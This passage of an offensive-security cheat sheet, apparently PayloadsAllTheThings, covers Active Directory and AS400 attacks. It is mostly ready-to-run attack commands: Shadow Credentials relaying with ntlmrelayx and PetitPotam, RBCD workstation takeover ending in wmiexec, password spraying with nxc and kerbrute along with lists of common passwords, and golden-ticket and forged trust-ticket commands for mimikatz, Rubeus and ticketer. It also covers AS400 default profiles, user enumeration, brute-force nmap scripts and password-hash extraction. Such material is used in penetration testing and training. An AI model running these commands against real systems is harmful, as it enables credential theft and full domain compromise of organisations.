Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
```
* [ShutdownRepo/pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
```ps1
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
# Removes a key credential from the target object specified by a DeviceID GUID.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
```
## Scenario
### Shadow Credential Relaying
* Trigger an NTLM authentication from `DC01` (PetitPotam)
* Relay it to `DC02` (ntlmrelayx)
* Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
* Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
### Workstation Takeover with RBCD
**Requirements**:
* `Print Spooler` service running
* `WebClient service` running
**Exploitation**:
* Using your C2, start a reverse socks on port 1080: `socks 1080`
* Enable port forward from port 8081 to 81 on the compromised machine:
```ps1
rportfwd 8081 127.0.0.1 81
```
* Start the relay:
```ps1
proxychains python3 ntlmrelayx.py -t ldaps://dc.domain.lab --shadow-credentials --shadow-target target\$ --http-port 81
```
* Trigger a callback on webdav:
```ps1
proxychains python3 printerbug.py domain.lab/user:password@target.domain.lab compromised@8081/file
```
* Use [dirkjanm/PKINIT](https://github.com/dirkjanm/PKINITtools) to get a TGT for the machine account:
```ps1
proxychains python3 gettgtpkinit.py domain.lab/target\$ target.ccache -cert-pfx </path/from/previous/command.pfx> -pfx-pass <pfx-pass>
```
* Elevate your privileges by creating a service ticket impersonating a local admin:
```ps1
proxychains python3 gets4uticket.py kerberos+ccache://domain.lab\\target\$:target.ccache@dc.domain.lab cifs/target.domain.lab@domain.lab administrator@domain.lab administrator_target.ccache -v
```
* Use your ticket:
```ps1
export KRB5CCNAME=/path/to/administrator_target.ccache
proxychains python3 wmiexec.py -k -no-pass domain.lab/administrator@target.domain.lab
```
## References
* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel - October 21, 2021](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition)
* [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials)
* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - June 17, 2021](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)

View File

@@ -0,0 +1,93 @@
# Password - Spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
Most of the time the best passwords to spray are :
- Passwords: `P@ssw0rd01`, `Password123`, `Password1`,
- Common password: `Welcome1`/`Welcome01`, `Hello123`, `mimikatz`
- $Companyname1:`$Microsoft1`
- SeasonYear: `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (`*`,`?`,`!`,`#`)
- Empty Password: NT hash is `31d6cfe0d16ae931b73c59d7e0c089c0`
:warning: be careful with the account lockout !
## Spray a pre-generated passwords list
- Using [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
```powershell
nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123
nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt
nxc smb targets.txt -u Administrator -p Password123 -d domain.local
nxc ldap targets.txt -u Administrator -p Password123 -d domain.local
nxc rdp targets.txt -u Administrator -p Password123 -d domain.local
nxc winrm targets.txt -u Administrator -p Password123 -d domain.local
nxc mssql targets.txt -u Administrator -p Password123 -d domain.local
nxc wmi targets.txt -u Administrator -p Password123 -d domain.local
nxc ssh targets.txt -u Administrator -p Password123
nxc vnc targets.txt -u Administrator -p Password123
nxc ftp targets.txt -u Administrator -p Password123
nxc nfs targets.txt -u Administrator -p Password123
```
- Using [hashcat/maskprocessor](https://github.com/hashcat/maskprocessor) to generate passwords following a specific rule
```powershell
nxc smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
```
- Using [dafthack/DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) to spray a password against all users of a domain.
```powershell
Invoke-DomainPasswordSpray -Password Summer2021!
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
```
- Using [shellntel-acct/scripts/SMBAutoBrute](https://github.com/shellntel-acct/scripts/blob/master/Invoke-SMBAutoBrute.ps1).
```powershell
Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
```
## BadPwdCount attribute
> The number of times the user tried to log on to the account using an incorrect password. A value of `0` indicates that the value is unknown.
```powershell
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: <never>
LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: <never>
```
## Kerberos pre-auth bruteforcing
Using [ropnop/kerbrute](https://github.com/ropnop/kerbrute), a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
- Username bruteforce
```powershell
./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
```
- Password bruteforce
```powershell
./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
```
- Password spray
```powershell
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
```

View File

@@ -0,0 +1,57 @@
# Trust - Privileged Access Management
> PAM (Privileged Access Management) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.
Requirements:
* Windows Server 2016 or earlier
If we compromise the bastion we get `Domain Admins` privileges on the other domain
* Default configuration for PAM Trust
```ps1
# execute on our forest
netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes
netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes
netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes
netdom trust lab.local /domain:bastion.local /Quarantine:No
# execute on our bastion
netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes
```
* Enumerate PAM trusts
```ps1
# Detect if current forest is PAM trust
Import ADModule
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
# Enumerate shadow security principals
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
# Enumerate if current forest is managed by a bastion forest
# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
```
* Compromise
* Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...)
* Using SID History
* Persistence
* Windows/Linux:
```ps1
bloodyAD --host 10.1.0.4 -u john.doe -p 'Password123!' -d bloody add groupMember 'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local' Administrator
```
* Windows only:
```ps1
# Add a compromised user to the group
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}
```
## References
* [How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks - Thursday, April 18, 2019 - Nikhil SamratAshok Mittal](http://www.labofapenetrationtester.com/2019/04/abusing-PAM.html)

View File

@@ -0,0 +1,51 @@
# Trust - Relationship
- One-way
- Domain B trusts A
- Users in Domain A can access resources in Domain B
- Users in Domain B cannot access resources in Domain A
- Two-way
- Domain A trusts Domain B
- Domain B trusts Domain A
- Authentication requests can be passed between the two domains in both directions
## Enumerate trusts between domains
- Native `nltest`
```powershell
nltest /trusted_domains
```
- PowerShell `GetAllTrustRelationships`
```powershell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
domainA.local domainB.local TreeRoot Bidirectional
```
- netexec module `enum_trusts`
```powershell
nxc ldap <ip> -u <user> -p <pass> -M enum_trusts
```
## Exploit trusts between domains
:warning: Require a Domain-Admin level access to the current domain.
| Source | Target | Technique to use | Trust relationship |
|---|---|---|---|
| Root | Child | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way) |
| Child | Child | SID History exploitation (Mimikatz /sids) | Inter Realm Parent-Child (2-way) |
| Child | Root | SID History exploitation (Mimikatz /sids) | Inter Realm Tree-Root (2-way) |
| Forest A | Forest B | PrinterBug + Unconstrained delegation ? | Inter Realm Forest or External (2-way) |
## References
- [External Trusts Are Evil - 14 March 2023 - Charlie Clark (@exploitph)](https://exploit.ph/external-trusts-are-evil.html)
- [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0)
- [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)

View File

@@ -0,0 +1,31 @@
# Child Domain to Forest Compromise - SID Hijacking
Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.
**Requirements**:
- KRBTGT Hash
- Find the SID of the domain
```powershell
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502
# with Impacket
lookupsid.py domain/user:password@10.10.10.10
```
- Replace 502 with 519 to represent Enterprise Admins
**Exploitation**:
- Create golden ticket and attack parent domain.
```powershell
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
```
## References
- [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)

View File

@@ -0,0 +1,56 @@
# Forest to Forest Compromise - Trust Ticket
* Require: SID filtering disabled
From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using
Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**.
## Dumping Trust Passwords (trust keys)
> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing **$** are computer accounts, but some are trust accounts.
```powershell
lsadump::trust /patch
or find the TRUST_NAME$ machine account hash
```
## Create a Forged Trust Ticket (inter-realm TGT)
* using **Mimikatz**
```powershell
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
```
* using **Ticketer**
```ps1
ticketer.py -nthash <NT_HASH> -domain-sid <S-1-5-21-SID> -domain <domain.lab> -extra-sid <S-1-5-21-SID_ENTERPRISE_ADM-519> -spn <krbtgt/domain.lab> <dummy name>
# -nthash: The hash to authenticate as the trust account.
# -domain-sid: The SID for the domain that the account is valid in.
# -domain: The domain which the creds are valid on.
# -extra-sid: The SID for Enterprise Admin's Group
# -spn: The target service for the other domain
# <dummy name>: The user doesn't have to be real.
```
## Use the Trust Ticket file to get a Service Ticket
```powershell
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```
Inject the Service Ticket file and access the targeted service with the spoofed rights.
```powershell
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
```
## References
* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)

View File

@@ -0,0 +1,657 @@
# AS400
AS400 (IBM i) is a midrange computer system developed by IBM, originally released in 1988. Now known as IBM i running on Power Systems, it is widely used for business applications due to its stability, security, and integrated database (DB2 for i)
## Summary
* [Lab](#lab)
* [Enumeration](#enumeration)
* [Access and Audit](#access-and-audit)
* [Default Credentials](#default-credentials)
* [User Enumeration](#user-enumeration)
* [Telnet](#telnet)
* [POP3](#pop3)
* [FTP](#ftp)
* [Useful Commands](#useful-commands)
* [NMAP Scripts](#nmap-scripts)
* [User Class](#user-class)
* [Authority](#authority)
* [Special Authority](#special-authority)
* [Adopted Authority](#adopted-authority)
* [Password Cracking](#password-cracking)
* [Privilege Escalation](#privilege-escalation)
* [Initial Program Breakout](#initial-program-breakout)
* [Hijack Profile - SECOFR Security Class](#hijack-profile---secofr-security-class)
* [Hijack Profile - Authorities](#hijack-profile---authorities)
* [Hijack Profile - Profile Swapping](#hijack-profile---profile-swapping)
* [Unqualified Library Calls](#unqualified-library-calls)
* [From ALLOBJ to SECADM](#from-allobj-to-secadm)
* [Arbitrary Command Execution](#arbitrary-command-execution)
* [References](#references)
## Lab
* [mainframed/DC30_Workshop](https://github.com/mainframed/DC30_Workshop) - DEFCON 30 Mainframe buffer overlow workshop container
* [mainframed/DVCA](https://github.com/mainframed/DVCA) - Damn Vulnerable CICS Application
```ps1
docker run -d \
--name=dvca \
-e HUSER=docker \
-e HPASS=docker \
-p 21:21 \
-p 23:23 \
-p 3270:3270 \
-p 3505:3505 \
-p 3506:3506 \
-p 8888:8888 \
-v /opt/docker/dvca:/config \
-v /opt/docker/dvca/printers:/printers \
-v /opt/docker/dvca/punchcards:/punchcards \
-v /opt/docker/dvca/logs:/logs \
-v /opt/docker/dvca/dasd:/dasd \
-v /opt/docker/dvca/certs:/certs \
--restart unless-stopped \
mainframed767/dvca:latest
```
## Enumeration
By default, the FTP service send a banner with the following prefix:
```ps1
220-QTCP at
```
Common ports in AS400 devices:
```ps1
20, 21, 23, 25, 80, 110, 137, 138, 139, 389, 443, 446, 448, 449, 512, 910, 992, 2001, 2010, 3000, 5061, 5544, 5555, 5566, 5577, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 9470, 9471, 9472, 9473, 9474, 9475, 9476
```
| Name | Description | Port | Port (SSL) |
| ------------- | ----------- | ---- | ---------- |
| FTP | FTP server is used to access the AS/400 file system | 20,21 | / |
| Telnet | Telnet server is used to access 5250 emulation | 23 | 992 |
| SMTP | SMTP server is used to provide mail transfer | 25 | / |
| HTTP | HTTP server is used to provide web page | 80 | 443 |
| POP3 | POP3 server is used to provide mail fetch | 110 | 910 |
| NetServer | NetServer allows access to AS/400 integrated file system from Windows PCs | 137,138,139,445 | / |
| LDAP | LDAP provides a network directory service | 389 | 636 |
| DDM | DDM server is used to access data via DRDA and for record level access. | 446 | 448 |
| As-svrmap | Port mapper returns the port number for the requested server. | 449 | / |
| As-rmtcmd | Remote command server is used to send commands from a PC to an AS/400 and for program calls. | 512 | / |
| As-admin-http | HTTP server administration. | 2001 | 2010 |
| As-sts | Service tools server | 3000 | / |
| As-mtgc | Management Central server is used to manage multiple AS/400s in a network. | 5555,5544 | 5566,5577 |
| As-central | Central server is used when a Client Access license is required and for downloading translation tables. | 8470 | 9470 |
| As-database | Database server is used for accessing the AS/400 database. | 8471 | 9471 |
| As-dtaq | Data Queue server allows access to the AS/400 data queues, used for passing data between applications. | 8472 | 9472 |
| As-file | File Server is used for accessing any part of the AS/400 file system. | 8473 | 9473 |
| As-netprt | Printer Server is used to access printers known to the AS/400. | 8474 | 9474 |
| As-rmtcmd | Remote command server is used to send commands from a PC to an AS/400 and for program calls. | 8475 | 9475 |
| As-signon | Sign-on server is used for every Client Access connection to authenticate users and to change passwords. | 8476 | 9476 |
## Access and Audit
**Access**:
* [tn5250/tn5250](https://github.com/tn5250/tn5250) - A curses-based 5250 terminal client
* [x3270](https://x3270.bgp.nu/) - IBM 3270 terminal emulator
* [ayoul3/wc3270_hacked](https://github.com/ayoul3/wc3270_hacked) - A hacked version of wc3270 that removes field protection and displays hidden fields
* [Mocha TN3270](https://mochasoft.dk/tn3270.htm) - Mocha TN3270 provides TN3270 emulation for IBM Mainframe Access
* [Mocha TN5250](https://mochasoft.dk/tn5250.htm) - Mocha TN5250 provides TN5250 emulation for IBM Mainframe Access
* IBM i Access Client Solutions (5250 Console): `servername.com/WSG` or Telnet
* IBM Navigator for i (Web Interface): `http://systemName:2001`
Signed-off profiles can still be used—not for opening a 5250 session, but they should work with other protocols.
All the objects can be queried from the database DB2.
**Audit**:
* [hackthelegacy/hack400tool](https://github.com/hackthelegacy/hack400tool/tree/master/dist) - Security handling tools for IBM Power Systems
* [hack400auditor/hack400auditor.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400auditor/hack400auditor.jar)
* [hack400exploiter/hack400exploiter.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400exploiter/hack400exploiter.jar)
* [hack400scanner/hack400scanner.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400scanner/hack400scanner.jar)
* [ayoul3/cicspwn](https://github.com/ayoul3/cicspwn) - CICSpwn is a tool to pentest a CICS Transaction servers on z/OS.
* [ayoul3/cicsshot](https://github.com/ayoul3/cicsshot) - Tool to screenshot CICS transactions
* [sensepost/birp](https://github.com/sensepost/birp) - Big Iron Recon & Pwnage
![AS400 Mind Map](https://web.archive.org/web/20140830222720if_/http://www.toolswatch.org/wp-content/uploads/2013/02/AS400.jpg)
## Default Credentials
```ps1
# Print users with default passwords (Username == Password case insensitive)
# Must have *ALLOBJ and *SECADM special authorities to use this command.
ANZDFTPWD
```
Other default profiles:
```ps1
QAUTPROF QBRMS QCLUMGT QCLUSTER QCOLSRV
QDBSHR QDBSHRDO QDFTOWN QDIRSRV QDLFM
QDOC QDSNX QEJB QFNC QGATE
QLPAUTO QLPINSTALL QMQM QMQMADM QMSF
QNETSPLF QNFSANON QNOTES QNTP QPEX
QPGMR QPM400 QPRJOWN QRJE QRMTCAL
QSECOFR QSNADS QSPL QSPLJOB QSRV
QSRVBAS QSVCDRCTR QSYS QSYSOPR QTCP
QTFTP QTMHHTP1 QTMHHTTP QTMPLPD QTMTWSG
QTSTRQS QUMB QUSER QYPSJSVR QYPUOWN30
```
## User Enumeration
### Telnet
Authentication Error Messages in **Telnet**
* CPF1107 : Password not correct for user profile
* CPF1109 : Not authorized to subsystem.
* CPF1110 : Not authorized to work station.
* CPF1116 : Next not valid sign-on attempt varies off device.
* CPF1118 : No password associated with user XYZ.
* CPF1120 User AABBA does not exist
* CPF1133 Value X Z S is not a valid name
* CPF1392 : Next not valid sign-on disables user profile.
* CPF1394 : User profile XYZ cannot sign on.
### POP3
Authentication Error Messages in **POP3**
```ps1
+OK POP3 server ready
USER bogus
+OK POP3 server ready
PASS xyz
-ERR Logon attempt invalid CPF2204
```
* CPF2204 : User profile not found
* CPF22E2 : Password not correct for user profile
* CPF22E3 : User profile is disabled
* CPF22E4 : Password for user profile has expired
* CPF22E5 : No password associated with user profile
### FTP
Create a symbolic link to the QSYS library and list *.USRPRF
```ps1
open as400.victim.com
as400user
password
quote site namefmt 1
quote site listfmt 1
mkdir /test12345
quote rcmd ADDLNK OBJ('/qsys.lib')
NEWLNK('/test12345/qsys')
dir /test12345/qsys/*.usrprf
```
## Useful Commands
| Command | Description |
| ---------------------------- | ------------ |
| `DSPUSRPRF <user>` | Display user profile |
| `WRKUSRPRF <user>` | Display user, look for Group profile , and Supplemental groups |
| `WRKUSRPRF *ALL` | Display all users |
| `DSPPGM LIB/PROGRAM` | Display program infos |
| `WRKOBJ (*ALL QSYS *LIB)` | List libraries |
| `CHGUSRPRF USRPRF(<USERNAME>) PASSWORD(<NEW_PASSWORD>)` | Setup User Password |
| `QSH` | Start a QSHELL instance |
Check strings in PGM/SRVPGM
```ps1
cat QLWIUTIL4.SRVPGM | iconv -f cp1141 -t UTF-8 | strings
```
## NMAP Scripts
* [nse/tn3270-screen](https://nmap.org/nsedoc/scripts/tn3270-screen.html) - Connects to a tn3270 'server' and returns the screen.
```ps1
nmap --script tn3270-info,tn3270_screen <host>
```
* [nse/tso-enum](https://nmap.org/nsedoc/scripts/tso-enum.html) - TSO User ID enumerator for IBM mainframes (z/OS).
```ps1
nmap --script=tso-enum -p 23 <targets>
nmap -sV -p 9923 10.32.70.10 --script tso-enum --script-args userdb=tso_users.txt,tso-enum.commands="logon applid(tso)"
```
* [nse/tso-brute](https://nmap.org/nsedoc/scripts/tso-brute.html) - TSO account brute forcer.
```ps1
nmap -p 2401 --script tso-brute <host>
```
* [nse/cics-user-enum](https://nmap.org/nsedoc/scripts/cics-user-enum.html) - CICS User ID enumeration script for the CESL/CESN Login screen.
```ps1
nmap --script=cics-user-enum -p 23 <targets>
nmap --script=cics-user-enum --script-args userdb=users.txt,cics-user-enum.commands="exit;logon applid(cics42)" -p 23 <targets>
```
* [nse/cics-user-brute](https://nmap.org/nsedoc/scripts/cics-user-brute.html) - CICS User ID brute forcing script for the CESL login screen.
```ps1
nmap --script=cics-user-brute -p 23 <targets>
nmap --script=cics-user-brute --script-args userdb=users.txt,cics-user-brute.commands="exit;logon applid(cics42)" -p 23 <targets>
```
* [nse/cics-info](https://nmap.org/nsedoc/scripts/cics-info.html)
```ps1
nmap --script=cics-info -p 23 <targets>
nmap --script=cics-info --script-args cics-info.commands='logon applid(coolcics)',cics-info.user=test,cics-info.pass=test,cics-info.cemt='ZEMT',cics-info.trans=CICA -p 23 <targets>
```
* [nse/cics-enum](https://nmap.org/nsedoc/scripts/cics-enum.html) - CICS transaction ID enumerator for IBM mainframes.
```ps1
nmap --script=cics-enum -p 23 <targets>
nmap --script=cics-enum --script-args=idlist=default_cics.txt,cics-enum.command="exit;logon applid(cics42)",cics-enum.path="/home/dade/screenshots/",cics-enum.noSSL=true -p 23 <targets>
```
* [nse/lu-enum](https://nmap.org/nsedoc/scripts/lu-enum.html) - Attempts to enumerate Logical Units (LU) of TN3270E servers.
```ps1
nmap --script lu-enum --script-args lulist=lus.txt,lu-enum.path="/home/dade/screenshots/" -p 23 -sV <targets>
```
* [nse/vtam-enum](https://nmap.org/nsedoc/scripts/vtam-enum.html) - Brute force those VTAM application IDs
```ps1
nmap --script vtam-enum --script-args idlist=defaults.txt,vtam-enum.command="exit;logon applid(logos)",vtam-enum.macros=true,vtam-enum.path="/home/dade/screenshots/" -p 23 -sV <targets>
```
## User Class
A User Class (USRCLS) defines a predefined set of authorities and system privileges for a user profile. It determines the user's general role and access level within the system. However, a user class alone does not directly grant special authorities (SPCAUT); instead, it serves as a guideline for assigning them.
In this example, we create a high-privilege user by assigning them the `*SECOFR` (Security Officer) user class (USRCLS). By setting the special authority attribute (SPCAUT) to `*USRCLS`, the system automatically grants the user all special authorities associated with the `*SECOFR` class.
```ps1
CRTUSRPRF USRPRF(MYUSER) USRCLS(*SECOFR) SPCAUT(*USRCLS)
```
| User Class | Special Authority from User Classes |
| -------------------------------- | ------------------------------------------------------------------------------------ |
| *SECOFR (Security Officer) | Full system control, including user management and security. All special authorities |
| *SECADM (Security Administrator) | Can manage users but not system-wide settings. `*SECADM` special authority |
| *SYSOPR (System Operator) | Can manage system operations but not security settings. `*SAVSYS` and `*JOBCTL` special authority |
| *ALLOBJ (All Object Authority) | Can access all objects but may lack security control. |
| *PGMR | Can create and modify programs but has limited access to system administration functions. No special authorities |
| *USER | Standard user with minimal privileges, typically for general system use. No special authorities |
## Authority
In AS400 (IBM i), authority controls user access to system objects (libraries, files, programs, etc.). It ensures security by defining what users can do with specific objects.
* `*ALL`: Full access (read, write, delete, execute).
* `*CHANGE`: Modify but not delete.
* `*EXCLUDE`: No access.
* `*USE`: Read-only or execute.
* `*USERDEF`: Custom authority settings based on a user's specific needs.
Secure authority standard for users:
* `USRCLS` should be `*USER`
* `SPCAUT` should be `*NONE`
* `AUT` should always be `*EXCLUDE`
* `*USRPRF` should have authority to itself
* `*PUBLIC` should be `*EXCLUDE`
* No other authorities should exist.
```ps1
Object . . . . . . . : XXXXXX Owner . . . . . . . : QSECOFR
Library . . . . . : QSYS Primary group . . . : *NONE
Object type . . . . : *USRPRF ASP device . . . . . : *SYSBAS
Object
User Group Authority
*PUBLIC *EXCLUDE
QSECOFR *ALL
XXXXXX USER DEF
```
Special authorities defaults (security level 30 or above)
| User Class | Special Authority |
| ---------- | ----------------- |
| *SECOFR | *ALL |
| *SECADM | *SECADM |
| *PGMR | *NONE |
| *SYSOPR | *JOBCTL,*SAVSYS |
| *USER | *NONE |
## Special Authority
Special authority is used to specify the types of actions a user can perform on system resources. A user can be given one or more special authorities.
* `*ALLOBJ` special authority: All-object (`*ALLOBJ`) special authority allows the user to access any resource on the system whether private authority exists for the user.
* `*SECADM` special authority: Security administrator (`*SECADM`) special authority allows a user to create, change, and delete user profiles.
* `*JOBCTL` special authority: The Job control (`*JOBCTL`) special authority allows a user to change the priority of jobs and of printing, end a job before it has finished, or delete output before it has printed. `*JOBCTL` special authority can also give a user access to confidential spooled output, if output queues are specified `OPRCTL(*YES)`.
* `*SPLCTL` special authority: Spool control (`*SPLCTL`) special authority allows the user to perform all spool control functions, such as changing, deleting, displaying, holding and releasing spooled files.
* `*SAVSYS` special authority: Save system (`*SAVSYS`) special authority gives the user the authority to save, restore, and free storage for all objects on the system, regardless of whether the user has object existence authority to the objects.
* `*SERVICE` special authority: Service (`*SERVICE`) special authority allows the user to start system service tools using the STRSST command. This special authority allows the user to debug a program with only `*USE` authority to the program and perform the display and alter service functions. It also allows the user to perform trace functions.
* `*AUDIT` special authority: Audit (`*AUDIT`) special authority gives the user the ability to view and change auditing characteristics.
* `*IOSYSCFG` special authority: System configuration (`*IOSYSCFG`) special authority gives the user the ability to change how the system is configured. Users with this special authority can add or remove communications configuration information, work with TCP/IP servers, and configure the internet connection server (ICS). Most commands for configuring communications require `*IOSYSCFG` special authority.
```ps1
# Print users with special authorities
PRTUSRPRF TYPE(*ALL) SELECT(*SPCAUT) SPCAUT(*ALL)
# Print rights on a library object
DSPOBJAUT OBJ(MYLIB) OBJTYPE(*LIB)
```
**QSECOFR** (short for Security Officer) is the highest-level user profile, similar to the "root" user in Unix/Linux or the "Administrator" account in Windows. It has full control over the system, including security settings, user management, and system configuration.
The `*ALLOBJ` (All Object Authority) special authority allows a user to access all objects on the system, regardless of their specific object-level permissions. A user with this authority can perform almost any action on the system, making it a powerful and sensitive privilege.
**QSECOFR** has `*ALLOBJ` by default, along with other special authorities, making it the most powerful user profile on IBM i.
## Adopted Authority
Equivalent of setuid in Linux.
Adopted Authority allows a user to acquire authority to objects beyond what is granted by `*PUBLIC` and private authorities. As an example, suppose a user should normally be restricted from payroll files, but to perform his job, the user must be able to run a payroll report. Adopted authority allows the user to acquire enough authority to read the file for the purpose of the payroll report without granting the user any authority to the file outside of the program that runs the report.
Before granting adopted authority to PAYLIST, you must determine what authorities it already has. On an operating system command line, type the following:
```ps1
DSPPGM PAYLIB/PAYLIST
```
Example of an adopted authority running as QAUTPROF
```ps1
Owner: QAUTPROF
User profile: *OWNER
Use adopted authority: *YES
```
If User profile is `*OWNER`, the program runs combining the authorities of the Owner of the program with those of the User Profile running the program.
## Password Cracking
**Requirements**:
* `*ALLOBJ` privileges: Full control over all objects
* `*SECADM` privileges: Profile management, low-level system access
Extract hashes with **QSYRUPWD**:
| Description | Format | Type | Example |
| --------------------------- | ------ | ---------- | ---------- |
| Receiver variable | Output | Char(*) | 2000B |
| Length of receiver variable | Input | Binary(4) | |
| Format | Input | Char(8) | "UPWD0100" |
| User profile name | Input | Char(10) | userName |
| Error code | I/O | Char(*) | |
The output format **UPWD0100** is documented below:
| Offset Dec | Offset Hex | Type | Field |
| ---------- | ---------- | --------- | ---------------------------- |
| 0 | 0 | BINARY(4) | Bytes returned |
| 4 | 4 | BINARY(4) | Bytes available |
| 8 | 8 | CHAR(10) | User profile name |
| 18 | 12 | CHAR(*) | Encrypted user password data |
**Encrypted password data** hex string
| Offset (Dec) | Length (Chars) | Field | QPWDLVL |
| ------------ | -------------- | -------------------------------------------------- | -------------- |
| 0 | 16 | DES 56-bit encrypted password substitute (RFC2877) | 0, 1, 2* |
| 16 | 16 | DES 56-bit encrypted password substitute (RFC2877) | 0, 1, 2* |
| 32 | 32 | LM hash | 0, 1, 2* |
| 64 | 4 | No data | |
